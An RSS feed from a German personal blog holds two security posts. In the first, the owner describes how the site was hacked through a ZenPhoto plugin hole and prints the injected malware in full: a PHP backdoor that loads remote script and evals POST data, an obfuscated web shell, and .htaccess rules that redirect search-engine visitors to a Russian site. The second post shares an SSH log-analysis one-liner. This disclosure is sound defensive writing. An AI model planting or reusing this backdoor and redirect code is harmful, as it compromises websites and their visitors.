<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>harmes.de &#187; security</title>
	<atom:link href="http://harmes.de/tag/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://harmes.de</link>
	<description>Die Webseite von Tobias Harmes</description>
	<lastBuildDate>Sat, 26 Nov 2011 23:06:08 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>harmes.de wurde gekapert</title>
		<link>http://harmes.de/2011/11/harmes-de-wurde-gekapert/</link>
		<comments>http://harmes.de/2011/11/harmes-de-wurde-gekapert/#comments</comments>
		<pubDate>Sun, 13 Nov 2011 19:36:57 +0000</pubDate>
		<dc:creator>Tobias</dc:creator>
				<category><![CDATA[Neuigkeiten]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://harmes.de/?p=478</guid>
		<description><![CDATA[Ich habe heute festgestellt, dass die Seite am 09.11.2011 über eine Sicherheitslücke in der TinyMCE-Extension in der ZenPhoto-Gallery gekapert worden ist: http://www.zenphoto.org/news/alert-security-hole-in-zenphoto-1.4.1.4 Das ist auch der Grund, warum harmes.de vorerst im neuen Gewand auftritt. Bis auf die Bilder habe ich &#8230; <a href="http://harmes.de/2011/11/harmes-de-wurde-gekapert/">Weiterlesen <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Ich habe heute festgestellt, dass die Seite am 09.11.2011 über eine Sicherheitslücke in der TinyMCE-Extension in der ZenPhoto-Gallery gekapert worden ist: <a href="http://www.zenphoto.org/news/alert-security-hole-in-zenphoto-1.4.1.4">http://www.zenphoto.org/news/alert-security-hole-in-zenphoto-1.4.1.4</a></p>
<p>Das ist auch der Grund, warum harmes.de vorerst im neuen Gewand auftritt. Bis auf die Bilder habe ich sämtliche Dateien gelöscht und WordPress komplett neu hochgeladen. Die Datenbank wurde von dem Hack nicht betroffen.</p>
<p>Auswirkung des Hacks: je nachdem von wo der Besucher gekommen ist, wurde man auf eine russische Seite weitergeleitet.</p>
<p>Im Folgenden habe ich alle gefundenen Änderungen aufgeführt. Einige Dateien auf meinem Webserver waren mit einem geänderten Zeitstempel versehen, die .htaccess-Dateien hatten jedoch augenscheinlich einen alten Zeitstempel. Dieses wurde von mir auch als letztes entdeckt: die Änderungen waren ziemlich banal sehr weit rechts durch Leerzeichen vor meinen Augen &#8220;geschützt&#8221;.</p>
<p>Durch die Lücke wurden fast alle .php-Dateien mit einer dynamischen Nachlade-Funktion ausgestattet:</p>
<blockquote><p>$sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = &#8220;lb11&#8243;; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = &#8220;102&#8243;; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo &#8220;&lt;script&gt;document.cookie=&#8217;&#8221;.$sessdt_k.&#8221;=&#8221;.$sessdt_f.&#8221;&#8216;;&lt;/script&gt;&#8221;; } } else { if($_COOKIE[$sessdt_k]==&#8221;102&#8243;) { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo &#8220;&lt;script&gt;document.cookie=&#8217;&#8221;.$sessdt_k.&#8221;=&#8221;.$sessdt_f.&#8221;&#8216;;&lt;/script&gt;&#8221;; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = &#8220;<a href="http://turnitupnow.net/?rnd=%22.$sessdt_f.substr($sessdt_v,-200)">http://turnitupnow.net/?rnd=&#8221;.$sessdt_f.substr($sessdt_v,-200)</a>; echo &#8220;&lt;script src=&#8217;$sessdt_u&#8217;&gt;&lt;/script&gt;&#8221;; echo &#8220;&lt;meta http-equiv=&#8217;refresh&#8217; content=&#8217;0;url=<a href="http://$sessdt_j'%3e%3c">http://$sessdt_j&#8217;&gt;&lt;</a>!&#8211;&#8221;; } } $sessdt_p = &#8220;showimg&#8221;; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }</p></blockquote>
<p>&nbsp;</p>
<p>Außerdem wurden in den Hauptverzeichnissen Dateien á la &#8220;tmp_2981577430561915.php&#8221; angelegt:</p>
<blockquote><p>                                                                                                      $vf=substr(1,1);foreach(array(10,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,</p>
<p>110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,</p>
<p>115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,</p>
<p>99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,</p>
<p>73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,</p>
<p>114,72,84,77,76,61,39,39,59,10,10,13,9,92,39,0,112,49,60,115,99,114,105,112,</p>
<p>116,32,115,114,99,61,104,116,116,112,58,47,47,102,97,99,101,116,111,102,97,</p>
<p>99,101,46,100,101,47,101,120,116,47,62,60,47,115,99,114,105,112,116,62,116,</p>
<p>114,117,101,99,115,115) as $vj[0]){$vf.=chr($vj[0]);}$vj[0]=substr($vf,0,1);$vj[1]=substr($vf,1,102);$vj[2]=substr($vf,103,3);$vj[3]=substr($vf,106,6);$vj[4]=substr($vf,112,2);$vj[5]=substr($vf,114,-7);$vj[6]=substr($vf,-7); if(isset($_GET[$vj[6]])){$vj[7]=0;if(isset($_POST[chr(97)])){$vj[7]=$_POST[chr(97)];}$vj[8]=chr(97).chr(106).chr(97).chr(120);$vj[9]=0;if(isset($_POST[$vj[8]])){$vj[9]=$_POST[$vj[8]];}if($vj[7]==substr($vj[1],79,3)&amp;&amp;strlen($vj[9])==4){@ob_start();@eval($_POST[$vj[4]]);$vj[6]=$vj[1].addcslashes(htmlspecialchars(@ob_get_clean()),$vj[3]).$vj[2];echo strlen($vj[6]).$vj[0].$vj[6];}else{$vj[0]=chr(116).chr(120);if(!isset($_POST[$vj[0]])){echo $vj[5];}else{@eval(urldecode($_POST[$vj[0]]));}}exit;}unset($vf);unset($vj);?&gt;</p>
<p>&nbsp;</p></blockquote>
<p>Und sämtliche .htaccess-Dateien wurden angepasst:</p>
<blockquote><p>ErrorDocument 400 http://conditer-asybasy.ru/soni/index.php<br />
ErrorDocument 401 http://conditer-asybasy.ru/soni/index.php<br />
ErrorDocument 403 http://conditer-asybasy.ru/soni/index.php<br />
ErrorDocument 404 http://conditer-asybasy.ru/soni/index.php<br />
ErrorDocument 500 http://conditer-asybasy.ru/soni/index.php</p>
<p>RewriteEngine On<br />
RewriteCond %{HTTP_REFERER} .*google.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*ask.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*qq.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*excite.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*msn.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*aol.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*goto.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*search.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*bing.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*blog.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*live.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*mail.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*ya.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*aport.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*flickr.*<br />
RewriteRule ^(.*)$ http://conditer-asybasy.ru/soni/index.php [R=301,L]</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://harmes.de/2011/11/harmes-de-wurde-gekapert/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Top 10 der Usernamen bei ssh Brute-Force-Attacken</title>
		<link>http://harmes.de/2010/06/top-10-der-usernamen-bei-ssh-brute-force-attacken/</link>
		<comments>http://harmes.de/2010/06/top-10-der-usernamen-bei-ssh-brute-force-attacken/#comments</comments>
		<pubDate>Tue, 08 Jun 2010 06:51:39 +0000</pubDate>
		<dc:creator>Tobias</dc:creator>
				<category><![CDATA[Festplatte]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://harmes.de/?p=310</guid>
		<description><![CDATA[Yuri hat einen hübschen awk-Befehl gebaut, um sich eine Statistik der fehlgeschlagenen Anmeldeversuche ausgeben zu lassen. <a href="http://harmes.de/2010/06/top-10-der-usernamen-bei-ssh-brute-force-attacken/">Weiterlesen <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://yurisk.info/">Yuri</a> hat einen hübschen awk-Befehl gebaut, um sich eine Statistik der fehlgeschlagenen Anmeldeversuche ausgeben zu lassen.</p>
<p><a href="http://yurisk.info/2010/06/04/top-10-usernames-used-in-ssh-brute-force/">http://yurisk.info/2010/06/04/top-10-usernames-used-in-ssh-brute-force/</a></p>
<p>[sourcecode language="shell"]<br />
awk &#8216;/Failed password for/ &#8216; /var/log/secure* | sed &#8216;s/.* \([[:print:]]\+\) from .*/ \1 /g &#8216; | sort | uniq -c | sort -n -k1<br />
[/sourcecode]</p>
<p>Das könnte dann z.B. so aussehen:</p>
<blockquote><p>&#8230;<br />
189  tester<br />
190  123456<br />
205  www<br />
218  testing<br />
255  user<br />
293  guest<br />
354  oracle<br />
603  test<br />
723  admin<br />
14321  root</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://harmes.de/2010/06/top-10-der-usernamen-bei-ssh-brute-force-attacken/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

